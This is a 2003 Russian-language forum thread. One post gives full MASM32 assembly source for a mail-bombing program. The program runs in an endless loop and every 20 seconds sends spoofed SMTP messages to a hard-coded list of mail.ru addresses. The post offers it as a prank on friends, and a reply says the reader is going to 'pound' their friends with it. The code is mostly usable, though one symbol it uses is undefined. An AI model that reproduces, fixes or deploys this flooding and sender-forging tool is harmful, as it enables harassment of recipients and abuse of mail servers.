|
|
| Посл.отвђт | Сообщенiе |
|
|
Дата: Мар 4, 2003 14:22:15 Поздравте свого друга от души :) ----------------------------------------------------- .486 .model flat, stdcall option casemap :none include \masm32\include1\windows.inc include \masm32\include1\user32.inc include \masm32\include1\kernel32.inc include \masm32\include1\comdlg32.inc include \masm32\include1\Wininet.inc include \masm32\include1\Ws2_32.inc includelib \masm32\lib\wsock32.lib includelib \masm32\lib\Wininet.lib includelib \masm32\lib\user32.lib includelib \masm32\lib\kernel32.lib EmailSender proto :dword, :dword, :dword, :dword Main proto SendMail proto .data wsadata WSADATA <> szMailFrom db "dr_golova@mail.ru",0 szSubjct db 'Поздравление',0 szMailText db 'Пртвет с большого будуна !!!',0 szDruzi db "stenri@mail.ru",0 db "gex_mail@mail.ru",0 db "moskvi@mail.ru",0 db "ganz@mail.ru",0 db "anesteziolog@mail.ru",0 db "xstas@mail.ru",0 db "arvidjaar@mail.ru",0 db "abuse@mail.ru",0 db "dr_golova@mail.ru",0 db "Detcebel@mail.ru",0 dd -1 .code start: invoke WSAStartup, 201h, addr wsadata invoke Main invoke ExitProcess, 0 ;########################################################################### Main proc uses edi jmp @F timcnt dd 0 conectFlag dd 0 szmicr db "http://www.microsoft.com", 0 @@: xor edi, edi invoke GetTickCount mov conectFlag, -1 .while szmicr[0] != 0 mov eax, 1 .if conectFlag == -1 invoke InternetCheckConnectionA, offset szmicr, 1, edi .endif .if eax invoke GetTickCount mov ecx, eax sub ecx, timcnt .if ecx > 1000*20 mov timcnt, eax invoke CreateThread, edi, edi, addr SendMail, edi, NORMAL_PRIORITY_CLASS, addr timcnt invoke CloseHandle, eax mov conectFlag, -1 .endif .endif invoke Sleep, 1000*20 .endw ret Main endp ;##################################################################3 SendMail proc uses esi lea esi, szDruzi .while dword ptr [esi]!= -1 invoke EmailSender, addr szMailTo, esi, addr szSubjct, addr szMailText invoke lstrlen, esi inc eax add esi, eax .endw ret SendMail endp ; ########################################################################## EmailSender proc uses edi esi ebx pMailTo:dword, pMailFrom:dword, pSubjc:dword, pdata:dword LOCAL SendBuf[300] : byte LOCAL ServerSock : dword LOCAL ResvBuf[300] : byte LOCAL szBufProv[300] : byte LOCAl strTim : timeval LOCAL sockstr : fd_set LOCAL destination_sin : sockaddr_in LOCAL szHeader[100] : byte jmp @F szHelo db "HELO %hs",13,10,0 szFrom db "MAIL FROM: <%hs>",13,10,0 szData db "DATA",0 szQuit db "QUIT",0 szEnd db 13,10,".",0 szRcpt db "RCPT TO: <%hs>",13,10,0 szEmpt db "%hs",13,10,0 szHTml db 'To: <%hs>',13,10 db 'Subject: %hs',13,10 db 'From: <%hs>',13,10,0 szMail db "mail.%hs",0 @@: xor edi, edi lea esi, ResvBuf lea ebx, SendBuf invoke socket, AF_INET, SOCK_STREAM, edi .if eax != INVALID_SOCKET mov ServerSock, eax mov strTim.tv_sec, 5 mov strTim.tv_usec, edi mov sockstr.fd_count, 1 mov eax, ServerSock mov sockstr.fd_array, eax invoke select, edi, addr sockstr, addr sockstr, edi, addr strTim .if eax != INVALID_SOCKET mov destination_sin.sin_family, AF_INET mov destination_sin.sin_port, 1900h mov eax, pMailFrom xor ecx, ecx .while [eax+ecx] != byte ptr '@' inc ecx .endw add ecx, eax inc ecx lea edx, szMail lea eax, szBufProv Scall wsprintfA, eax, edx, ecx add esp, 4*3 invoke gethostbyname, addr szBufProv .if eax mov eax, (hostent ptr [eax]).h_list mov eax, [eax] mov eax, [eax] mov destination_sin.sin_addr, eax invoke connect, ServerSock, addr destination_sin, sizeof destination_sin .if eax != INVALID_SOCKET invoke recv, ServerSock, esi, 300, edi .if eax != INVALID_SOCKET lea ecx, szBufProv lea edx, szHelo call SendRecv .if eax mov ecx, [esi] .if cl == '2' mov ecx, pMailFrom lea edx, szFrom call SendRecv mov ecx, [esi] .if cl == '2' mov ecx, pMailTo lea edx, szRcpt call SendRecv mov ecx, [esi] .if cl == '2' lea ecx, szData lea edx, szEmpt call SendRecv mov ecx, [esi] .if cl == '3' call Sends .if eax != INVALID_SOCKET lea ecx, szEnd lea edx, szEmpt call SendRecv mov ecx, [esi] .if cl == '2' lea ecx, szQuit lea edx, szEmpt call SendRecv mov ecx, [esi] .endif .endif .endif .endif .endif .endif .endif .endif .endif .endif .endif .endif @@Exx: mov conectFlag, eax invoke closesocket, ServerSock ret SendRecv: Scall wsprintfA, ebx, edx, ecx add esp, 4*3 invoke send, ServerSock, ebx, eax, edi .if eax == INVALID_SOCKET jmp @@Exx .endif invoke recv, ServerSock, esi, 300, edi .if eax == INVALID_SOCKET jmp @@Exx .endif add esp, 4 jmp dword ptr [esp-4] Sends: push ebx push esi mov ebx, -1 lea ecx, szHeader mov [ecx], edi Scall wsprintfA, ecx, offset szHTml, pMailTo, pSubjc, pMailFrom add esp, 4*5 add eax, 1400 invoke GlobalAlloc, edi, eax .if eax != edi mov ebx, edi mov esi, eax mov [esi], edi invoke lstrcat, esi, addr szHeader invoke lstrcat, esi, pdata invoke lstrlen, esi .if eax > 1400 mov [esi+eax], edi mov eax, 1400 .endif invoke send, ServerSock, esi, eax, edi mov ebx, eax invoke GlobalFree, esi .endif pop esi mov eax, ebx pop ebx add esp, 4 jmp dword ptr [esp-4] EmailSender endp ;############################################################# end start |
|
|
Дата: Мар 4, 2003 15:58:43 Класс спасибо!!! Пошел друзей "дубасить" :))) |
|
Powered by miniBB 1.6 © 2001-2002
Время загрузки страницы (сек.): 0.054 |